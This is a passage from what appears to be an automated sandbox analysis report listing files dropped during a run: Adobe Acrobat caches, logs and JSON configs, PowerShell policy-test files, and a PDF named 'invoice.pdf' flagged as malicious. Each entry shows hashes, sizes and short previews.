SHA1:	2149EA7ADBB1E1C68AFF3EC4A11C03F9CF074F28
SHA-256:	4D24CC1920192B9FAD1DBBBDE48BAEFB6B3E13A07652FF876AEC48ACB7FC1A00
SHA-512:	721916C4AA306BE6AFED3754569BB7B92FC589B22CE577506D347E3A492945DF08F12A6CB823639C5F970BEB8943756D45F67BB7EF2F094F5BECB51C99C9ECE3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"529d37fb-d990-496a-8490-12b7b5683a0b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736713829382,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2785167296436795
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS4+FIbRI6XVW7+0YcniDoAvJTqgFCrPeUkwRe9:YvXKXeYpW7tisGTq16Ukee9
MD5:	2745B4E33B5FCC7B5DCCF455207C9CBB
SHA1:	2783074E19E3083C6329DCC9403775490FD82CD9
SHA-256:	8F9B1FD5786847CF92470BF7564BAF4627C18B4FC211ABDD3BB87B6868CC34E5
SHA-512:	696FE53038D48F6EF15567FC8D3D024978A667BB1728550FA7F57DB36654482E398A58893D9D769AE2A184D77C14AE4F40211199281FCBA96125B8959BC66C5C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"529d37fb-d990-496a-8490-12b7b5683a0b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736713829382,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.145307747387502
Encrypted:	false
SSDEEP:	24:YYTsFOGaMayac1PG7cykScqJ+c8BfcyzVfcs/2ccjPDsj0SEcScDc/2GG2LSEcMy:YYT4cJePAPD+KDGSL+R9Po2b9FR
MD5:	0B3BBE0769602BE7DD23DD61C5EBF534
SHA1:	2DDE259413614984547907A3362326B4CFBA17B2
SHA-256:	D11635567E4805F5196C7235FD1EC4577B8CD7748C2BA3F6DC42535CBBB835FF
SHA-512:	24A1C2402443F58CF560620C8B1860DE2BFDA717ACD654648C2DB1C84AC184B14C787CB2454B1B336ABE72929F3E68D5EB89E0D266FC5277C7EE56796DDDFD49
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"3580aa9a169640dafe845e4b4f6fd6b3","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736538449000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"0b1e3af3e6f0fa6690184f5b4fdb1d62","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736538448000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"fb1a40e877e7cf6a3b6a93ba08f85dd1","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736538448000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d82fd47f32ccf8bd6288794a7fec7a9f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736538448000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"6aeb67a93cba305e0a5d84f5b22754eb","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736538448000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"b92f4fd9b677bb26db4a21ec265bd485","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9843365259257034
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Sp7fWP4zJwtNBwtNbRZ6bRZ46fWPF:TVl2GL7ms6ggOVp7fWAzutYtp6PlfWd
MD5:	6CC541E238DFF259F9401DEB21C954CF
SHA1:	A2DD357150175723A876C66745B7F8FC434601E2
SHA-256:	94BF3AE26C37065CF2762AA4E3BEFC5309D7F7E2712047FBD4CBA5A55E547783
SHA-512:	D35F52342E998B3CAA2E295FBE898F545F5BDF4474800B4580D0F8E8EC25B6CBFB10FD93CB531020E66C8C32B0C46F9AFD78A891A68A2FD7F44F8466C8412BC3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3375196905843405
Encrypted:	false
SSDEEP:	48:7MAoGgOVp7fWnzutYtp6PMYqll2GL7msC:7n0OVp6SaOqVmsC
MD5:	C659A55ED62CB09462B205D515D4E020
SHA1:	D71AD444EE835AE2D084125FB62966895548E64D
SHA-256:	65EB46D1ADF672E06B404A463D4868123FD74B3BCCB0D9D25643ED921404C807
SHA-512:	D6FE74C093477897DA3A8D3A7FE6003D46A1F61C4C3350CBBA660E9EAD6928C88CD26E51263FEA6EECE3A36772AA56E953EA3ACAB769ACBAB6E4EF542667109C
Malicious:	false
Preview:	.... .c.....b?.B......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEghzLdZJyD4HIH0ovYcbVIPoNPmYyu:6a6TZ44ADEhzLdJHIHbvhd9mK
MD5:	13289682150846A8B36E6B340AB929CF
SHA1:	0635CD4F72C7B6E5851C68B58B5BC4C19EBBCEF0
SHA-256:	F0304158A4163EEF05BAC7362279EBCF98795C158EA7B797D4992785F04F8F96
SHA-512:	4012B36785BA88D8E769E77400C86972831588674A77475CC251FE1174B0292D258AD9CAFF3C274DFA81872DED14A47E17AD715BE1A5AD215E69FBF473909422
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulttV:NllU
MD5:	00BEA2629276E1F81FFB1A7ABCA5D17D
SHA1:	661DC74BA36DB72C508F767EFC7C56B710A8E738
SHA-256:	BF8ED11721E21FDFFDB7CDBD44804E3D758358AF851DEDCD90EF74FD1FEF9E34
SHA-512:	555CAE6C6772844C4AD57E8B6C20AFEC8F09F57441375D45E12F85723FB39E05B88C985924DD334EEC554F826F09709200385E0F87638ACC9011E3A8777AB937
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIe47f.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClERM+dwlYH:Qw946cPbiOxDlbYnuRK+bDq+ilYH
MD5:	BBDAADA37571110BF85B591FAF1B81F0
SHA1:	8B6D6236FB39E1C976B4244405685FDBFB8979CB
SHA-256:	CCBD5213ADF15DB69621C44A3A033372C0D96D277FC85C0DDE280B38983DC4ED
SHA-512:	FFF575E5F3DC961C1399AB5AAD53DCC12040944D71DF7583957B10942FF863F721CD460A63397046E38A224343227C2D5A12FB882718305FB79BABCB3C905672
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.4.:.4.7.:.3.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_osse1cwm.4o3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ublmucri.oev.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 14-47-24-207.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.352218218858103
Encrypted:	false
SSDEEP:	384:h2MWl/YF9AFXoaI/xLjeM36WV4JHFB129+zVuokO0Iegrue1L94L4pgB/vDVN4zO:zfK8
MD5:	738821F900C3B5D753D4A89D51DEFF9E
SHA1:	763AC9B1B8D342902C00C519AF5A393FAD1F5AC2
SHA-256:	BA9B7E28BE5097152D154C0995DE4BABC501188CF87FD033A6AC776B19DBACF7
SHA-512:	34FFC131405B401045F892A652EE9D7A09446D6323339F66F031E1406E63E5E9C2EA7EDEB1E7A6AA5D4E3803A6E4503B33FEFF6223A96B6328BFAED72A2C5763
Malicious:	false
Preview:	SessionID=baf2b8ec-4679-4fe2-ba43-b007ff162186.1736538444219 Timestamp=2025-01-10T14:47:24:219-0500 ThreadID=7744 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=baf2b8ec-4679-4fe2-ba43-b007ff162186.1736538444219 Timestamp=2025-01-10T14:47:24:220-0500 ThreadID=7744 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=baf2b8ec-4679-4fe2-ba43-b007ff162186.1736538444219 Timestamp=2025-01-10T14:47:24:220-0500 ThreadID=7744 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=baf2b8ec-4679-4fe2-ba43-b007ff162186.1736538444219 Timestamp=2025-01-10T14:47:24:221-0500 ThreadID=7744 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=baf2b8ec-4679-4fe2-ba43-b007ff162186.1736538444219 Timestamp=2025-01-10T14:47:24:221-0500 ThreadID=7744 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.393749258868714
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbF:Ck
MD5:	D8550D3927A098A19BBEA2D00503F9FC
SHA1:	C81C9459AF51DC0D0E7909332CC98C1498C918E4
SHA-256:	4352BEAB13D6450EAC31670A6E1E8654DC38FF1C2318FF48B164444E1A33A24E
SHA-512:	D88B01557D23E8AE11FD6F17D301AB15117C83572835AC9B975AE7E29F14139D5A4BCDB1F5D5832394B948040390546565670334699F19CD0046183CA053BD3C
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0aa3cbac-b8a3-449c-95a5-532aded08e51.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\2994c02f-786c-49fb-9d8e-884212cabba6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\de0f9d47-5b29-47aa-9108-fa53285c0096.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ee75254b-dc5d-4bda-a3b5-8e5e3c1bcf8a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oXGZGwYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxXGZGwZGh3mlind9i4ufFXpAXkru
MD5:	7867DAFF192926A49EB7516D226D452F
SHA1:	BD0B185B12DB865CEA23060A9789C6B2D814B62E
SHA-256:	C7586BA81615BBAA63DA0D81CE18C0D087D1237500C99C35239A4D3CAEED2934
SHA-512:	B556042E82056983EA6A69AEE0DAB370641437EF6239FD04676FC26EC9472C6E5EF6194885C165E3987E8019321DCD9B4A574EA7A6253AC3C9468434AEAA0C21
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
